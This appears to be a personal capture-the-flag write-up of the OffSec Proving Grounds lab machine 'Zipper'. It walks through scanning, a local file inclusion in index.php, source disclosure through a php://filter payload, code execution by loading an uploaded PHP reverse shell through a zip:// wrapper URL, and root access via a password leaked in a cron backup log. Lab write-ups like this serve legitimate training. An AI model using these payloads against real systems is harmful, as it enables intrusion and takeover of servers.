Zipper – OffSec Proving Grounds (Practice)

The Summary

Platform SiteOffSec Proving Grounds (Practice)
Hostnamezipper
Domainzipper.offsec
Operating System / ArchitectureLinux
RatingHard

This write-up is for the machine Zipper on the OffSec Proving Grounds (Practice) labs. I will show about PHP wrappers and take the machine al the way through Privilege Escalation.

The Attack

Scanning & Prelims

NMAP Command

nmap -T4 -A -p- xx.xx.xx.xx -oA nmap-XXXXXX --webxml
  • nmap –> the application
  • -T4 –> timing set to aggressive (4)
  • -A -p- –> enables all scans & scans all ports
  • xx.xx.xx.xx –> target IP address
  • -oA –> output All file types: normal, grepable, XML
  • nmap-XXXXXX –> names of output files (XXXX changes per testers choice)
  • --webxml –> can move & view the XML easily on another machine
NMAP – Output
Host is up (0.095s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1994b952225ed0f8520d363b448bbcf (RSA)
|   256 0f448badad95b8226af036ac19d00ef3 (ECDSA)
|_  256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/22%OT=22%CT=1%CU=39495%PV=Y%DS=4%DC=T%G=Y%TM=664E04A
OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10E%TI=Z%II=I%TS=A)SEQ(SP=1
OS:01%GCD=1%ISR=10E%TI=Z%TS=A)OPS(O1=M551ST11NW7%O2=M551ST11NW7%O3=M551NNT1
OS:1NW7%O4=M551ST11NW7%O5=M551ST11NW7%O6=M551ST11)WIN(W1=FE88%W2=FE88%W3=FE
OS:88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M551NNSNW7%CC=Y%Q=
OS:)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y
OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=16
OS:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=893B%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

While scanning I set up notes for this machine. I also edit the /etc/hosts file in Kali to associate a domain of my choosing to the IP address provided by the Platform Site. The entry is often added to during testing when new domains are found.

Service Enumeration

SSH
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1994b952225ed0f8520d363b448bbcf (RSA)
|   256 0f448badad95b8226af036ac19d00ef3 (ECDSA)
|_  256 32e12a6ccc7ce63e23f4808d33ce9b3a (ED25519)

“It’s never SSH.” One day the problem will be SSH, but not today.

HTTP
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Zipper
|_http-server-header: Apache/2.4.41 (Ubuntu)

HTTP is always a good jumping off point. Let’s browse to the site and also check Wappalyzer.

At this point it is a good idea to run a directory search using one of the many tools available. I like dirsearch at the moment, but preferences vary and change with time. Wappalyzer also shows the existence of PHP being used. So, I will look for directories along with .php files and some other file extensions to cover my bases. The dirsearch output file is below.

# Dirsearch started Wed May 22 10:47:47 2024 as: dirsearch.py -u http://zipper.offsec -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -f -e php,txt,bak -o /root/OffSec_Proving_Grounds/Zipper/dirsearch_output_Zipper.txt

200     3KB  http://zipper.offsec:80/index.php
200     3KB  http://zipper.offsec:80/home.php
403   278B   http://zipper.offsec:80/icons/
403   278B   http://zipper.offsec:80/uploads/
301   316B   http://zipper.offsec:80/uploads    -> REDIRECTS TO: http://zipper.offsec/uploads/
200     0B   http://zipper.offsec:80/upload.php
200   155B   http://zipper.offsec:80/style
403   278B   http://zipper.offsec:80/server-status/
403   278B   http://zipper.offsec:80/server-status

Clicking the “Home” button on the site brings up something interesting in the address bar. Seeing a file= is a good indicator of potential directory traversal or LFI (Local File Inclusion)

I found the OWASP WSTG (Web Site Testing Guide) to be helpful here. Checked for the standard ../../etc/passwd and tried to view the upload.php file that was revealed in our dirsearch output.

However, exploring the OWASP site a bit more brings us to a section on PHP wrappers. These can allow an attacker to upgrade a LFI to Remote Code Execution (RCE) or other possibilities. A wrapper is a bit of code that surrounds (“wraps”) other code to give some added functionality. PHP has several built-in wrappers and an example is given. The following wrapper should access a file, encodes it in Base64 and prints it to the browser screen. It should be placed after the equal (=) sign in the URL.

php://filter/convert.base64-encode/resource=FILENAME

Decoding the Base64 string (I use Cyberchef) reveals the file contents.

<?php
$file = $_GET['file'];
if(isset($file))
{
    include("$file".".php");
}
else
{
include("home.php");
}
?>

The Foothold

Further research into PHP wrappers reveals an interesting zip wrapper. Use of it will access a zip file in the archives. This could trigger a malicious file, let’s say a PHP reverse shell. We can be fairly certain it will execute due to the existence of PHP already running on the machine.

First we must get the zipped file onto the machine. Let’s play with the zip function on the Zipper site. A handful of test files were created and will be loaded into Zipper.

So, load the file/s in. Zip them. Click the download to retrieve the zipped file. Note: the download function allows us to conveniently see the file name (we’ll need that later).

Now, craft the PHP reverse shell. I like to use RevShells.com. The “PHP PentestMonkey” variant should work well. Copy the output and paste it into a file. I called my file revshell.php (this will be needed later). Feed it into Zipper like above, being sure to download in order to get the zipped file name.

Start your netcat listener on the port specified when creating you php reverse shell.

Now it’s time to place the zip php wrapper into the address bar on the browser. Below is the wrapper with some explanation underneath.

http://zipper.offsec/index.php?file=zip://uploads/upload_1718928576.zip%23revshell
  • file=zip –> activates the zip wrapper
  • //uploads/upload_1718928576.zip –> the uploaded directory and the zip filename containing the malicious payload
  • %23revshell –> URL encode # (%23) followed by the name we had for our file. Since many files can be in a zipped archive (ie test-alpha.txt, test-bravo.txt, etc) this instructs which specific file to access.

Execute and check the listener for success.

The local.txt flag is located in /var/www.

Privilege Escalation

While enumerating with various commands, something interesting was found while checking cron jobs.

cat /etc/crontab

The file /opt/backup.sh looks interesting due to the 5 * (asterisks/splats) indicating this file is run automatically every minute. Changing directories (cd) into /opt/ and listing all (ls -la) the contents of the directory shows the permissions of backup.sh. The contents of backup.sh is then printed to screen (cat).

Unfortunately, only the file’s owner (root) has permission to alter the file. So, we are unable to manipulate it in a malicious manner. Let’s examine the contents of backup.sh to determine what it is doing.

#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log
  • password=cat /root/secret –> a variable of “password” is declared and it’s contents in /root/secret
  • cd /var/www/html/uploads –> change directories into the “uploads” directory for the Zipper website.
  • rm *.tmp –> remove any file with a .tmp extension
  • 7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.logwww-data –> Use 7-zip (7za) to archive all (a) files to the /opt/backups/backup.zip. It uses the password that was declared (/root/secret) and writes the file to /opt/backups/backup.log

So, that password would be good to acquire. Let’s check out the backup.log file to see if we can view anything useful.

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,1 CPU AMD EPYC 7371 16-Core Processor                 (800F12),ASM,AES-NI)

Open archive: /opt/backups/backup.zip
--
Path = /opt/backups/backup.zip
Type = zip
Physical Size = 1779

Scanning the drive:
3 files, 1327 bytes (2 KiB)

Updating archive: /opt/backups/backup.zip

Items to compress: 3


Files read from disk: 3
Archive size: 1779 bytes (2 KiB)

Scan WARNINGS for files and folders:

WildCardsGoingWild : No more files
----------------
Scan WARNINGS: 1

What looks like password is discovered in the file. WildCardsGoingWild. The only potential login point we discovered was the OpenSSH service we found in the NMAP scan. No other usernames were discovered, so let’s try to login as root.

Success!

The Debriefing

What went right?

Although this machine was rated “Hard” I didn’t find it to be terribly difficult. Maybe I got lucky and it interested me in a particular way and my researching panned out. I rarely felt like I was in the “Rabbit Hole of Despair” that I can sometimes fall into with attacking these machines.

Report writing is getting faster and I feel more efficient. I am getting more used to the tools and workflow of creating this content. Also, getting an eye for what looks well for presentation purposes.

What went wrong?

Escalating privilege did take me quite a while. When I finally figured it out, I was a bit mad at myself for not seeing it earlier. I need to get more familiar with priv esc and develop more customized techniques for getting there faster with less wasted time/energy.

I am also experiencing some self doubt on how much to include in the reporting. I want to thoroughly explain and understand what I am doing with the attacks, yet do not want to be excessively verbose. I am my audience, yet I am aware that others will be consuming this.

Lessons Learned

The skill level with creating the write-ups should increase with experience. I am constantly reminding myself: Progress, not Perfection.

My notes were better on this one. Reminding me even more to continue with good note taking in the moment. While attacking a box, I’m thinking it might be a good tactic to go back and re-exploit everything a second time with the intent of creating more solid notes. I have done that before and feel I should make it common practice.